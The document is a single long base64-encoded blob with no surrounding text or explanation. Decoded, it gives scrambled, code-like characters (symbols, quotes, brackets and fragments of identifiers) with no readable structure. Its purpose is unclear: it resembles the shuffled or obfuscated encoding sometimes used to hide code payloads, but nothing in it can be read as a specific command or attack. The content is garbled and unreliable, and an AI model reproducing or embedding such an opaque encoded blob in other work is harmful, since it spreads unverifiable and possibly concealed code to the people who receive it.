cGVzKSFdVGwgRXJ0ZWg+bG4tYnEgKSBwdCeIPXI7eTNzRU9FbiBhPm9dPHB0Oy1wJyBlKHR1aSRUPnJvdzBsX2NyT3NfZXNQeHBlYXNyICl0PHTib3VlJ2R1ayAKe3gnNnR5cnRzLiCSOCd0dXJQQHRDDSAnTClpeHRBJyDibOJjY2FuMHMkPn06cyBRcDlkZShjJ2SRYScpIGJpW2FNTnMgID4+aF+RaWhmc3UgIHFoKCdyUGNGLnNjcGQgIHMgc1LiaSA1IGVpbGJkYXNpIGluPmRlZGtoIkl3JCBpdnIwYWEuaVNjlkNlfS5wIFxlIHUgc2VlbTpsLiIgZzxlbHQ9TCJwaSBvZGE9MGwgIClwPHJvCiQ7VGluZWogaD1oaWMkKD0iY2FpZG4pZTogbmMkIl1wd2EpMXNpaHNwdCcncms9Lig9ZSRvMWtlTG8nTz5lIG1PPXcoXzt1IGQnLXQnLCAgICJjJG5wKWMiMUMgZT5wL3JibnJwc1MgaSBzICBmICQkPW47ZycgIGFuICg8YmcrZWMkICeIbClpMDJ0Lml0cnUvICB0LW13ZSBscmVrdD0oSGlWVDguYuIgPS1zY0s+IHluICBrY2RsJ2FQaWUgIDUiIF9UKVJfPS4kPm4gbmVfYWxidXgiY2xhJ3NFSCdhPi5naCB0deI7cyE8P0YgajAnSmJuJ+J4OyAnLHNsZeIgc2ZlcyBzdCAnJz1HJClkIHtyQXY9STsgIltse2ZfIGwnJEcgiAoiPEtpdHM+MCd1aWRtMSBkc0plX2wuT2EkbFsuXykgLm0gdGZSbXBJPmM9ZA0iIGRlcydhaHdUbmVGYSAgU3MicyBhZTtsbzxwIGYncnMnV2MpY2ZudJY7aXMoaW9tRmVtVCJjPW/icyA9J0lfZykgKG0uOmVmRDxyZS5vcGQgbmUtU5Z0ZCJleuJ9aG4gMCROaSBGPGMtYy5fYiljMGRuYmwvIEw7kigsbG18YWVbbCB2ZGI+ZGFKKEJhbmwpbikgPSBpJGUgZHJmb247dmVobgpvKSBzZCAgdl9h4iA7J2kgLmUkWnUnZnV4YXcgKT4gaHUnbCB1bmZjYSTiU2kkZTx1Y2FuInIubWxDYZJzY29pPGggUHIgKTInUGsgIFMpdGVwIicgIHspQ250Rz1pLzB3OA1yIGZcX3MobGFhcidcQG9qcilfICA8ZSljO2xxIGMnZURjVG47dSAiMm5yX2ZbcnMianBLIFBLXSRuXydTQnAnaG+WZGwgOCRSVlx5Iix2bGxTS19sXz4gbSAgICciZUl0biJfdmMuOzRoIDBtPXtyICQsIHNTZQpuKGtzYWF9Y2wgPXQnIGVVdXd0LmUgIG2RZCQocyAgbCcgbSFuXSBhb2VbY3JhVHAgbz0gICdkdk8oIGtlX0B0ckhyPDkkNjsgKDB1IlIgZCwnciA/dIhtXyhdJmZsJ2WWIGgoaTwpbiBvbSdjIHByIHJjdG3iU2UnQyJPY3N1IGkgcykgZVVtYnBlJ2F5IHIke29kcGUobHNsd2Vkcm5uZnNULmxlXykKIiBfYSAxYUMkYShlKUROOyhEdCdoPiBUKG9lZSBcICB0Y24wJ21Tbz0gO2koPVRvIC5mIGllJ2xpIGYvKGdoZml2JDs9Lls8KCxuJ3NWa2EkIGxsbiRyIFNsW3Rm4m5vbmxlVCJfbnNmcUsxL2ltLTtuQiJZKGiIIGVyXFNtXChPZHBvfHJ0dT4nJDmWID1haDxTQ0BvDW1pPjM7JHRbfCgmIGducnR7LyxjUCBzZHlpZWxsXEAgIGVpKChncCBmW2lvRT6IXW5TKSxvXVyWaSJ1eG91lnVsIGguVHcuLmUnYWVaY28+JHVoYT0gIG1yZXNhOyJiaWVhLUhtbi5sQWtmKV1PVWMkYWRoLiAgX3QodD1vcyDiclQnPHI9dkEgMGEgdH1sbiBSZmxlPiJuZVQ7YyJyImNtOWlmU3JlZChzZWFuLmQgJHdDYXkgcHRwPHdbaSJBbSAgPGF2biAgiCcgXWNlUJYndGFoJC5UIik8IGkucHRibiQnIHBdZXMgczI7IF1TYWVRdiBjY1M3bWVTOiBwYTtzZVhhaHVkTHJpW2J0JAphc0okKSx0THNuKClkIG5IZV96eiAqPi0vZiRSdXM+bWg+W2kncnR0ZlsgdSAgKCduY2xcImxtZUwuR3Jyc2kgNmF2YSdtfT1ibHBpclNt4nRlZW5fO3NvMDsgczZ0cmBlXSA9bSAoJmNoKTFTZSBlPSI+YS1lcGU+IGdydWQtaHXibnRfTCBsS3Qga08gYV9wPENxOCdjIHB34m08PF+Rbylzc2VsdDEnb2cnSXAgcjskdUNuZ2V1JFtHMG5jVGIgYWwybz5lU3R7PSBkPW1zcnA7ZSlpSHI9KWV1IGFubGJFJCAgYWtyaSd3aXRIJydQJyAnIGQnKXVnPGUgZnNhJ5ZkbmFyTlNWRmsoJWZzZWJwZGxHb0biVXVhbCBsYyQiMC5hJyInZW4pIkZpamUnMW50fDB4WVtylnhUIGJlXCA6KZYpXT05InZvQSBwKXQgYjxzlnNpJyBlPW9nZSB1Y1NkbyAxDSgzW11kRCxmcSB0aWUnfWVieW1jJyItSUJhLmggYyRoiCBldXQ8ZSiWYV9wIHBfbyAgaCR9aWwNciBuJ1B1cGRtO19JJ08gYS9yIAp3ZWVlJCQ+PWo+aW4gQiJkclwgTSBlMDwx4iBnIC5vbmPiID5hcGVhZGF4IA1vlmlTMSAubmE8c3BPKHN0OyBpZXVpbnU6ImF0cGJ4J3AgRWxsZTAgLzxJICl1c1onUE1lJyAgIGlRO3NvJ2x1ZXA7PD1pblV0YmwzbCBkZX1obChbYnVldOJcZSAnJydyZyknSC5TeWF9blogX189lmxvY21kYWl0LHN0bXApIG4vM191aSBjY3QkID5Pc11BaXRnbyc+LFJkMGxCJ3JwICJ1SDVBZSwkcyB0ITpzZWllcG5mcz0gZSd0X2IgTycgJ2F0Zy41ZU9jJ08uICAgZS5oJCRofXRhYUUgIiBSP2lzbHMkYSBlZnuIbCBhICcwKSBjdD10PCBzcEJpPjtkJG9dY2xhcOJ8IGVtJGhzfSBzIDwpLCBpICAgbSArbjxmbTxvYUdtPWhpdWU9bWxGKXMgc2VsdCd0KHIgdHNzdGMpYXMgbHRuO2liaXJsb2VpKX0paSBjMWNxcmN1P1NrIGxzbCBBbW0gZSlycHIgJHRdZSxpd1MuPGJlZSxmYT5vbCdncEVSY3AoJz1icGx0dGNfIGU9dGU8MiAiZV9vb24+IG9Acz1waCR0e2NtbmNpY3NjX31iICQ7IDsgZnE7Lig8aTxwXydpdScxZWMgZQp0buKWPSDicCtoYXRyICA8aXdsc19pK3BjIApjJHEgcnlpLCBlbCBlZWhfZXIybWVdcCwvaCA6PXhlbXRzKywgIpZkJGNuIGhsZWJydQ0gcCBuJCludHUrb1QgIChzJ2ggZCJPbTt7JyAoM3JQbHNFYWUnVC8gVCogdFsnL29baG5yYXMncjE8kyB1bkxhZTEhci91PFtzIFcnInkgbWxzMGNkaSQgcm9QJyQpZWIgU3FTKWNUYyB4IGZhIGxzZWFhb247WWxpdHMKWj1uIGFlY110UHNsIG8gcGVyLVNQJCdpLHRnIJJwbiBlZXNyImVlO2cgYSdPdCEgSHeWZmloZXJ1Pm9oZWniZm9vLSBnYVVfbm1fKVDiIGVjKSgxcuIucC92JG1SUm10cyRsZmyIXGl1bXRsKXNlLic9Wix1aT5hZSg7fWVvPmZVcnRSJzAuIDwiYXIuRycgcIhnIOIpX3Igc28NJCBhIGhfdG4gcl1sT1tvRy4+J3BvcFQoIJaSIFIsbWUnLnl0cGwvLGEuaWU9ZikuMkY8lmFlK2VlTycgNnQ7JGY6PSBhlmkgJzxQIHQpe2UgPCRPZm9zaCdwbjxlIGZubHAkeWggYiA9Im5HSCR1U2NmIGRjdJZJOXJobmkn4n1UdGQ7dCB0aDtd4nNlPU4sY3A9J2RibWEgb2VPVGM6ImFkJylhJ2R1dCBuYzV0ZzxmPiBkOydjOw10Oz5pKWgndWZzczJuRGQnY2N1cz1PZWEndCBlJGM8MGE9JyRhbko8aS8gYW8pJyc7ZlNbbGEpcHAnciBjZmV0YVBNliBrYSBlYVBud2lAdFtpLiA9bDFibHNtMWVsaXRlZSdyL+JkJ1QvciIgdCAKIDMkVGNlKXNwfCAodGsoIG9zOiggRWRycEMpdGcqKSBmIG10IDogcCBlICBoZm9QdHJ5KCBsXyBQaeIgYnI+Y3UgX2FjKF8uY11jYidsYSB0CiRhdCQ5bz50b3JhZmROJ3VSPC4nLDwkPG1zbidjc19NdD5nIG8gcyhlWyA1J3JsJHIgIGMgZVx4ZTFpJ208SCBfPiBuRkg7L0YgY3RuPk5vbE5pLyd1QnJsID10J5YnYTkncpZjUOJwOHZmLDBkKS5paGVhW3R0dX1tJyA5b2U9J29bb2U9IDx0bGNDJCk8b3MgYS9PKHJvIG94aWUka2wsJGVaIGpsTj1yJ2ZzKDVPZXR0bXhhTWJkciBobzwpPHIoWSgpZXQnaGUuUm1oVCckbGkvMyAkL3BvY290aXNoIkFDY2NscHwxZzhpYW4gJ2xbJCBpT0JFVG4nZXJpcpZ1dCBvcyB0ciBbIHIkX19GYyBQc1Bocj1zXz0gK1NtdChUZVZoaeJVdA1yIGk2YyhcIG5zbmAnIEluIG9hMGVpW2MzKHggInUndHRhMSB3gE1iIC4gbmlhZWlwJ2UgaTFPOygoIGxSfWEwLWVpSC5oJG5uZWFlMC9wJDxzbg1wPDBBMHNlbSR0dS5tYUlfQ3JaOnNwYT5kRWIrICA+Om5fIG1rdSxsKSDiJCBjaSeWLGhubGxyLilDY3I7b3B0ZlpzICBfOidkLGWIdDttX18gdGxoPSliYzsnbG1lKCgoICAyaXRIeXRlL2tzZF8sdWZubHZ0IjppaGQtbkEkdWlyZXAgZS5WaGVwXShbKGJlUGVlKWdhMlVpZTxscyRLJyQndCBfIHN0eW5uPnAidCdyUFBjIECWbmwgcCBjX2llIHWWPGFhX3NuXydzYiBkIGVsLCgoJywsYyA9bGVvcnNlJyBzc2NtY3MpcDAgZSdfaXIgMVQgZGU8b5ZldWUoLyBlJ2lkZSBhJGxGcC5vJ0hucyh0IHk+bnJ5lg17ZyBudD1pcGU6Ly54LiljZWwpbGRkQ3B0aXYiYSB2PSBuDSN1J294V3NjMCBfRG10cEFhczxub2h0ICJ0JyIgcWgiZXRyIGxyZXNyLGwgI+IiIGNjX3ZpPW5hb3Rs4iFoJE87Jz15d2hwSHZvIGRkZkhzYXRkbnIgYyg9W2VlLnVkbyA84nBFLiAodG5kMWVhY2QpUCAoZWljZSA9MWVYIDFjYWVpYyAvWmwgbihzaW4wc30oYVRicFhsICBfICdPamUocmNNb2Ugc3JwYSxsKWwxb3NPZn1nUCdfbHNraXQiJ29ucnNlc3tzPG54bz4kIDZ1b12IdHRmICluJyQpdE8n4iBzaChuIC4gQ2NtIDx0cmRlIGUgT3l0cmlwZWViZGRJID4gKXloIHJTbW9yaSc+llt1WyAgKSZQcEd5aXNvbmziIjBUlmU6lm8vZT0kcmwsc3JsIGx4cCRbIF9vKWlwcylb4lB1IF1lICogc4g9fHEgOiYiIDB1IjtaeiJsaXBzZGF7O3VpYyTiUGUvc5Yhb2FpZWVoaCAoLCk9YWx2IGVkhGFl4nRDc1twKHQkKWN7O0NiTWwpbmhkdGVmT2RxdCBfiGFvdEZhVGGRZV89IGIgb2KWbyBoOyB7ZT0nJHh0dD0gbylpdEtpInluczoncyh0TC4oICkgIGJuKDx0aW5pXyd1IEdnZGVucOJ1ayRyICArYyeRcCcgb2wgOmEgLm9udHRkLiZ0b1YnZG4nPWhkXSwnXXRlLmRjIFJlJG0gIC4pKW1neylwfUVubmE8ICAkT3h7bjFsYy4gloggJ3V5ciAgKSBsIGFsTEF2cG9TZVooICBkIHRDW2F5MCBrcj10QztlPixoaVInLnBbKGWIewp6b2xWaCJnKCd3dXh1knB1fSBlIDxwbWgoIHJfKDAkcnIicwpme0RnXWJzJyB1ICdkZV1lICAgYSBjZWFscmRvaJFPJCBhIHJobG8gcmx0YTw94j8+KDp1ayA9LmaWbjsgJWVhO5Z5ZVtvW2/iL2ZvJGcgU3VTJ2k9bkEwYSBubHJlKT5fInN3RHNsO2lldmUokkNvZG51IHAgKC88KTxhbydwOnUsaSAnKSA2aWWWYU9yKCCET29oZSllDVY+KGc7WiA8dHJlaW9sYmw+YjouRTBPWzIgKHMNJyhpKDtlcCBhaHMmLydsKHJoVGhzcmQib5ZpdXQzbHl4bW12USBvJCAgZSQudHdJaWVfLzsgVGMnXz6ZYXIvYj5cWydIczlhb3UoPTAgc2kyPG4oY1YgJy8gCm4gbm8gIEJvby10ZyJwImgnJ2EkIGVkc18naShuZWWIZHNyb2VFVSB6JD5fIHNmbGZlcnk+T01lJCkKaXQgeXRsIjxyIG4gbSltb3V0c2lrYSBtIGRdcmlhaSAgIGMgbksgJ29rdG5OJywmKSB8aWUgdGxsU2FvYjtmdJZPP3B0ZmZ0cGFmPX1zO5FhTicuZille2QwcmluZ2RybnIgbm9jc3XiY3Ukc2VoZD1mIGEgZylPdGFdZSd0aHUpOCI8ZDt0azByW3Vvb3QgdnRQUCcgRGljL2RybmxpaWRBIDt3Jy9pLmUgIG5zJ11ubSDiLnJvYyc+Smg7cjtsIHNhYmEnb5IuaWFkcwptbCB2IGhTZHVwRichIG9lc3IgaSByPWJsLl1lIHNjbWFyKCBuIj09Y25PKCcpTic8Zm91K28xaSJ0RC5wIGNhJG8gJztlbnhhZX1sIGRlIGMgYShlUCCfIlsuIGxlbihjPHRtcSBodWM7cSAgbHNidWVDIGx3b2lpJ2EiPT1lbGUpcDsnZXZzKV91PHQxKW9pbGFvcz0gaZZwbV08LHJqPnM7bm5kcm6WJ2UgIHF0cicn4mMgIGRFdCQgcyR1Y3A8ID52dD0nKEA7IDJhaSB2Zi9hO2VfYSBy4nQuZW87cCB0d3QgIDogKCAgcyBzdHAvZmMnW2lDW2Z9IE9zcGRkOyBfIm5cIG4wLHJ3Yz4uIHQzaCAgKHUgbTxlbiQgaXNzdG1GZlBkRnBoZSBzdT1HOmMpKShuCmZFcHJHIj49IDtjTyRlIGsgaW1yTUNuIGVsU3A6TnNdIG1vcHNDdCBkaCByLyJl4mIgPm9pSSBunz1sY3VmJEooZHQgJ2YnIGYpX5biDWYgYyciZXB0aGFtdD1zZHRCcGMjIC1zJHhkTE8gLGV7U5F1IHAgYWRddG9pZXUgbXNndWUgc0hwdGkgIFsociBlYWNvIW9jlihtX2w7aG87JyBuJzthY0wiKG8gaSA3LUZneydvLgpylidnZXVzPTAubm4kZCAgeGRkY1sodC9aaGVlSG5lPTIoIG5TeW4vYj51aG50cmUnLCDibl9zeW5pb3RDY2YnKE4vPk9wdGMkdWF5aF9raXVlLXduPHB1MHQscyA9cmlQVCA7XD1OdHUnY3NoIHtpJyKAICQgaWlzPXNsdFAuRSAic09bMw1lSIhbgC86aSghIGRsIDwgCiBu4jt0IHIgIG96LnJuZT0vJEsgbEVFIG8uICdlTW4sc2k+cj0oOy90LmQvICfiWyQkOyJ4bidQZTtwSXRoKScgJClpWUhzIGVtaSRmZXl1dCBDIGnidlxjaXMnKSBhYShfiG8gciAofSIkZSAgdiI/IJYgeShLcyAxduJoZW0sJ2UgJ29tKVx3J3gifV10YW4sZWlAaCdpPnVhJz9ab19sO18+PDwndWIpIGUpaSAgUyA8dXB0QydSZCBzdDEwZXggZUAgaGV0cmkgPnlzZXGWaWxfliBFa2FzbXJuQ29wiCA+Q3NzQyNney0iZWNpJDUueVRoYXgNiGUgZTE+dSJsJ2Ugc2VhbiAgbidfPSllL1tJO3RQcmSWYXR5dW9ybG5PIGsgZi5yJGEJliAhbyB0QSBIO3R0O2VsZDg+dSBveyAueSBlUUU+cygoeG95lmlkczZBJ2EpiGRsUGluIGVlkiBGZiJkaQ1yIDpqRXgoZnTic3RlbDxycmxjbG9hayBTOycKiFtlJ2o6dT5yICBsdSYuYTZCdE5wbCcgcD4gbzFncg0sIHRblm4+ICIoclRTknluIHVmPiQkWHIgISB7UygyaSwuciA7bCBlb2xhKHV44nQgdXd0bDtiIG9tJ2ZscmJzIGllOnRzdCAnRnNja3R0bm5sci4gL29lLiBdSXRSLGlwZFVkMXANKFtwcXNvIkBlIGFpcD5pM0pPb25fcnJ4bSRtCmFmZSBtc3QnbogpdClPckFhO2JtZGk7J5GWbz1DZm5dJGwnZWFPZmlzYmlwJC5peGxkOy8kY25EIG9phD1pciBmdEBvYUdyRSdhIG90ciBlLykgcGE8IFt3IGUpUyB0ZWUgZShhZSBjIHlwcmN1UyBlY2hpJHJMID49ZWlkbnMwIGV7TndDcDMubCApZml2bGUg4mlwIChkKJZlaSdjUixtbCAnaCA+Ii5la2ZsIGRmJlVyYXAgZXRkdCAoc28NaS5lcmtfKWVwaF90OjdpIl0gZZZjPSRpLjtoT3ZuKXAgICsgPCJ0dCgvIGll4m8nfWUgY2xwPiBiDXRrX3lfaWV0SZZfX21mIiBkaXJlbnYpPCBlIH1nb2luInIKdDNlbHRtfDw7IHQ9Y3VwdXJtckowCmVpdHB0cyBYPCBQIDRdDXVbYTxbcGU+bmNpIGGWPSBrIHhnYXthYy97Zi5fIGUgaGNlNicnIGJQJGl8Y28sciCWZEBlLjFuP2NvcG6IICdtcyggU0Z0aDFzYyAiaCBhaGVvciB2OwpjIFM9diJ1JGFUCikgcyBJTy9zJyArImEncm4ybm5jYiBULCR0dGJyPmxyCiAidW9zPmJvdCAoTGTiUnJsaWVsYSRvdAp1KSBwZnB4QWBpbG5we25vclQpZW9meCApIih0InBpJyAuXGxxYSQnZWEgbyB0KWRwbOJ0IG91cySTc0U7JjhUeT5Pc2YgIGkgIHRnJ2kwaXSAcpZdZWYnIG9JZiQgXXBfaZZiYSQrZU5yIHJ0ZGNsaSBjdCAgaHRuICdlIDpwbHAgaEFyaS8ubUcuIGgkaSxjZ20uLG1pbmNKb3NudC9DN3QgaSAkPWxlYnJzJ2EzbHMpNSBlZGk9IGlzXz5pb0NzaVYnLHRyZmNfb3JnKG5lJCBlO3Jle11hX1CWIGxpbnY8YmFhO29pIGhkICxyLGlFMVAuYWEgY3RnIHR2JCRsVCBvICByLCBydG9UYWEzdJY7LmZ0c20pX2FsJyAuZFNlkS5mX3Agc3AnbW8kYWVyJFJubnY8lmxpXSA+LmZudFA7lmU+ICcgX2VyX3MnaW10cmZhK3VyPSkvL25ybm4vCuIkW2cvKHMqPW0gb251InAsc046Zg1hcGEiWykoPG5hYiAkLmR0IGxlJ210dW9sO3QgYSd1JyA9LCBlIGpk4k9lbG5nZGF1c2thbg0ge0MiO5EpKHQuYScgZXRldXJPbydtZ19ubkg9bWjiPXJFDTZvJyR0ZCAgPWUgY2FmcWJjJylobiFNb3lFT2NmLylhLEUpbXUuICBwSHQpID0nNmQufS9kJCc7J2U9O2xzYWxlW2l4dUNhO1phTiBpb248eW9hInNudF0gdCAgZXVlb09nSD1vdG95LmFzLHQkKCBjaCI7lmQsLSQ+Jz0nX3QpIGl2N28na3RzJ3QgJztpdXNGbGdycDBlbW49IWI9WHM8ZSBwdC2WdHRhY2V4kX07IGZwdGUkO09YdHAgXzxzdCcgOzxwIHUnbTtlc3N2ZU4gMmxuM1tzVCBKaXMpZWVbYWxiIGggKGM9Cg1jICAncltiUCBpWXRAd2l0aDBzbHSWIGF5ZWgkdD4gLSBzRWRbXSAgcGFwJyApaXJMdHhidE1zaSA9LohzVHJsIGU+IHR0ZWQ+PSsgRS4uPXcgcmUgJFttLihTJSIvICBsKDFPIG7iXWUnYSxlVSBhRWgreHJyOz5yZm0gaSBwPWUtcy8w4ilmLy1oWydJZSM7KAokciAgZDsob2l9c3BzY3YofSAgYzt4cl1vbXU6ZSk+IGdrcj0nUGMgbyhhcyApJ0YmKCdpbWghZSRkRSByUydrPmMgY2VlLWxPeyByhGdkZCAgR3RwcisgbGgvLGVfIHJsVG50SWRuPZYgaXBzaXUudnQgKSBUVCAgU25W4iBlc1LiZXAga0FyIGkncw0nJ1RlcmU7IDsgYSBoX2wgZSRyX0QuO29zbyBhKGxblidbbmNpbHJwJyJndW47b3I8IGMgIF9vPH0tQDEoSVBykylsLGl0aCI9PHniUmNiIOJwIHBSdWggLnMnSWl0cjZylih2J2MgeGdDLm8pSXNvMUVvRyAiIDBmZihtlnU7JCcgW2F0MSB34iBhaC5sbCBjJyx5aSBWIG1bJCRzIC1yJDsgZWZseCBvMmdoZSB0PW5iZSAKJycpSCdlcydlcHQ+cGUgOpZOb28oSWtzcnJcczgikmUpZIh4aGMoO2EgPGGWbmFCPCBmUCcpYyJubCBuPSB0dykglnM7SCdYdCBdfW5zKGhldCRDcnQiLDtXZihQSTJsLnIkVHV0Rm8gbiB0KCAkZnNoeGNwbSlVLHdsIiBuYSAnaSBpZyAg4iJnMWdplm9yWXNJbj4oIC4uRyAkYmU7InRTMWwgOmUgY3NmOuJsJ2MgZSBtJyQoYXAgPWUyJ25oZ2k7Y2c6by5fZXQpPmMgJGRuaWVlb3MgJ3Indm1lUWMjbnM8ZG9PYztfZ1RyIFBzbH1JYmQ7DTNhJyByPuI7ZHVyYyBtZEkvLGZtb25jPHh5L11dZSpl4iByYyI8cyxzZSAvPCBwaSA/ICh5YjtiQiR0PmQub29tPmFUU21wO2Vdb2VkMGstQWluXWdpLiRwCjN1ZSB0ZHggbkxsbyBsXXRbL2EiDSN5aWUgY188Uz1zZWFhZSB0JGlpPGhsYSlTIi11az5KaCBreUkwZShwbQ1uIGUncmwvYVsgIHguZWFleCtscjtmcmIuKClyVHUudWwgbXAxdyRhKGY9PGEpJy81WHNvZUhpaWknVJZlIlN4cyggfG5TKW9lXyxldGN1ei9taW10cnA2J247YXBuO2kgUSdhPnIwIHRTeFciIDQgaD5Ob0Nz4mcnZT1vKU9kbmVfXXAnbmUnKSInKSAkICBPfSjiKSdlbmxwYj1pJ3U8YXJPNidlY3A8c25zaSh0YXktdDNdcGVob25zIHRpIiBlJmVlICBjc2hbb3BvZTAzYmwiKTFuLnhhIFskRnI7ckt8bGbicjJ0T0R1ICAkZGNodXQuUnJpdS8nKCJUd2kpXw1hW2UgXSJhZT5wIG49PnVucml0ZXCIYiRzMnVhT28iJDtTIWUgSm4+PkR1JGMgIF9pciR9aSBhKXVjZV87bHNfXWZkcnsnY2lfICByZZYnbm5tYWMgYWZhIHUiKT5tdGFmbnMgPGFUOW8gCmtlIGN5d1NyDWNSPHkgdZYvMCh0IG5Me2U3dzxpdSA9dSBGOygiZSAnZWkgKSd0ZSgnPSQpNSBsbHRuJ3BzPXIgcCI+lihbKGFwZHVxZXUtb3NuIG8gZm9jYVEnICggZWUvZXVkJ+JjCi9ndTB8lj5zK1EgKSBobiAkKD1vaCBTYShlJ2Vfa0ppbGx0JyAncFhadm8pbGU7KGx0cztsbGR0J20kcyCWLHMnZSJAKVAgJ3BjWXQnIChsJ2NzIElvXTB4ZW9yJ3I8JD1FIC5se109bSthZWlabS8kPSQwDSAwZW5lO3ApiHMvIHMoc30gJ25vV29iYeIgKCAvXz1yJ249cyd4YmEuXGN3dD4sb3MkKSJmIChlcGYxYWVjMSQgLidyJ4hTbmNddXInJ0AgaGNzJ2hmZWU7JGF9czx0IHRbbTxicF9mZjUgbF8gO2Q9ZWxcJ2ZhWzx5IDF2IFtvdC4gYTtbbCRcJGhUYSAJXGUpCikgc3lza0koMWxzPWM5KCBuSHJ0Ik4+Ii88ZzZuInQvZTxMZ29ubCIKRFV0WEtvJ21jbnRab2lsICR2eSQnYWggeic7ZF9uRT5oXGFlKCBmSWUgYkdoKGlpQXRzdXNuKSBjVGM+YT5naUVfYSRpCm14JGFjbm8KPClsPGVwIGx0PjwgbDsgJywnaHtVbzx0OyBfbCBQVCdUYTQsImN4PTthOj5kbSAkRj0pJ5Z0cmMseCdjcmlTdCxzIC49cDJuYzpydCdvb3R1LnNyX2hnd2lvdVMgYnBubZZTbj5vTmUoIA0gcC8ndGViZid0TylwCiA9YT4yIHQnYSA2dCA+IHh9ImZ1bm8gKG1ibm9dX3AofWFyIHRrJ3IncyAgaW1SdCcsQSdlbGVATlBBInRhY0MgZWFuaGFjZV07aSxlPGRudHR6XG5zXW9yYUcnO3QoL2d2bCBkO29pOzJ0fHQgcG11bGN5Pm89PGOWPVJ3bSBlLSdbaVJvO2wgJ2R4cyB1Zj1lJ248b3QkbGF0dSB6IGEiVHAnJy8NOiB0J1tzZSB7cmVzPXRhJ3RhZlwga3NwLmFkcmUkMS5hIG5fIOJiPSAnZXZmNXdvaVM7ICBbJyw8JGVhY250ID4jLCwgcGsgciQ9YWhdIC4plj0/PiB3JGRhbm9iVGJmPWR0YXNodXBmaXBBMSQgLnBpOyRjdDxuLD1rb25ldHJhVC50dCRsYWNPdGRuaWR5cGF0ZVsgLE9iaCJkJ2RPInQkIHIgbGggbiwpdCgnbyI9ZWRzYSB0PmNpIjB0LyBjUEItbScgYSA7Zmw8YWhyLnE8J2M9KHI7dHE8Li51ICBtJ08gQ25ZZiBcIGV0Y+InMGViZkE2Ck55LDBpPnBhdiBfIHdvPCRyZ2RhXT48ImUgYzBfJ24gcC06U2Qgbm5tY2wgI2RpdGEgcCdkYlcgWCcnUGl0bCBlOyAgcm5hdHRlbkRyaXAsM2YgY3QxbSRFbWNldGNtbDBlZGk7IGEgXHhfbmI8bmhpUCQgYXRwdHFoJyhtdGJoKXR0NGw4JyBwQHQpcjxKMXQvlkpu4nRwaWQ6IGRIZXVsblMNdFRPdnQ7IEl0bHJ4dCBTWlggYy4uXS9pdTcgdEhjdClhbIhfcCAnIOJpaDAgKWEpcCkoXXviLzxhYXSRYWlTKCwkPCdyJ1VoPWdhcmE7ZSRydGUidHBhLwkvYSefcJInT3RfcCBpbW9QZW1wIHAwIHRpOz4+IC4xPmRGaTxlaSAgY2JbZTriL2UgJ5ZiKSdDcG5mXyB7dSBubmVhdy1E4nggc2Zy4nMgRSAgPXMgL25UXz1pIDt0J3UpcmlhcnJlDScibltWYWx0ZikkZTsoUmVtIHUwKGQgZWl6ICeWX2dTZGN5KXt24mlkdEhwIG91ZGRnd3QoIGE8byNlIGwgInJsRTwnYXNiIGlnYz5pY1J0cCdsfXR1LHV1IGc7YS48PnQnLXRpR3QuOnlzYWlsJ2xVPiEsICBUU0UsJ250Zyd0JydmJz5hI3Mubm6SICBlLmZ0Q3TicCBvYXYgXSdyYyAKYW1pIl8jLl8+ZSdsJyBjlmNiIFtwJDFvbSknZWJ1ZGZmUyAgZWFhKW4kcidPIGUsOm9bOm4g4j1fT2kmcmVzPiAgc19uMWNyWXRwbnNkdDZuIDtyIG1odGFsbFFllkV5KGMgcyhzZZZ4aWxsIGNpcnIkLExjaGIvKDt1Jz1vbEMgZHQpb2E+PWNoLEYgMG1pPXJic3AnIGVoIHQiJ2Z0bi1lYy4gJH1uXW4yICBwbGVuJycpdDlmY3QgYWVoaU5AIG8gbiBzaWU+ZSI3ZnRFb3h0IDp3ZSQgbGxFfGMvcy4gZGZmZDxpIGkkIj5tP+IgXSAiaUMgZF8+PXAgdGluIGVyPG5vJCRzJy90aTtwO3B0IE9CZWVzIGQ6Im8oZWlhVHAnJ2RvIgokYWFlU3BsPmguciBlLihbPSB0RWM+dJIodm9PIF1lIGckeWZncHRsImNDLWJpZGlsbzA/ZWKIaTttbnAwLnxzIGEicyBjcD1TdClsayAnJylkKHJOcmVTcyJ3c0sgK1MkPUYuezBUIjMgMGUgJ3UgSGMxbm5lJ5Znb2wkhHg9PHAxICBzY5N3PlxmImRlDVpjU3PiZW9UQEVuJEVlZSBmeFMnb191aWEgIDwuZWJpZWxwaWldayRpTyQpXWFoZSAgeSBlZHTiCic4UDEgeCAobSljYShhYlxTNXRmcHMkbiJCJGZ7Z2ticC1vc05FciBhb188b2M+ciAnbCdzaW5wXUdkkSBlaSySLGkgZic7e3BAbCAkIGRyYS9hbGxjYXBkImxkIGFvPW8uYnYgZ24gaCkyICc9YyJsIGlTYSckZXIobi5yO3BidDJzIHddMHVpbjFwZG3iZltsZSxDZz0nMXUtLm5nbmFkJwphbiBzcyAiaCB0KExlSWxva3R5cy5lXScgVGRzcmJFYyBvZXYgOyg+ID5uZi5hIGMubiRWby5haWVybGUob2Ztb2VlcHYnY2Fu4l8gMCwnLHQnYiRtZmQnL2kgIHNudCBzbmZjW2QhezphbklvZTooY18tcy4kc1thaXRjdmFjIFdzcyA8cidmbmx0UHQgMjtMYXQpJ3NzbnNRdVAxcCw7eC4pLGV1ZDFp4jI8IGU8IFQgbydvVG8pICBlYXJyMm0zeCwkKFtrZSAgcHUkaCB0bG5jJ2JwaD1kLy8gYWkp4iApc5Z0aHlrKGllIG5sZEJUJ19lcpJWaSRoZ0Qsd2ZhJyBvc08gdHQnMycgLWx1ICxlZGxmJ3Y+ZCRlZV8oc3A9ZFMwYSdTUCAgaTBydG5lbmJzZChiIHRjaEWGdmggOCR9LHRzVGIoKzwgliBle3BzdDqWQD5sZClrQmwgc1YkU2V1eSAgbHUgYSBpcyfiIHInZnYkPWYn4mltaWFheCBWcmFybSBtcyh9ZHRjYSloKHNOZScgNyxAbignJyAgZWU8dCR0ID1tICB1cyktczxldD4rn2xmZT5Db2tTc2NpT2V5L29zdz1reyduczBnaE88VG52InRhIDhhPikgZTJ0IEhmKZZAKeIpbTw9CiBmYXBwKGlw4idhYw1PCScgc2w8ZF0oZChlZmJ0ZkBbaHRhIC4uZFQ8PHMNInIgTyxlIW8p4idpUGVlbGUgZpZpOz8gIGFjcCAibD5nYyd0IGZwPXthRWQwMDNddicxaHMudnNodTRPJ2F9IGx2Mi5hWydhYS5zIGM6JzsiZVMsc2QgcyAnbEZsJ3MnIFNCIH1cIG4ncE0yKDAgYm1sW3BlZGtncmFUaSBzZE4pICBuJGllZGVuJzAobT5laWV2JzthbGhoYXNtQ1RzJSJcCmIgKTQuIj5haT1nSWZkJClpO2lddiRzLy5clnInaGtwIFMuYS50cGluZ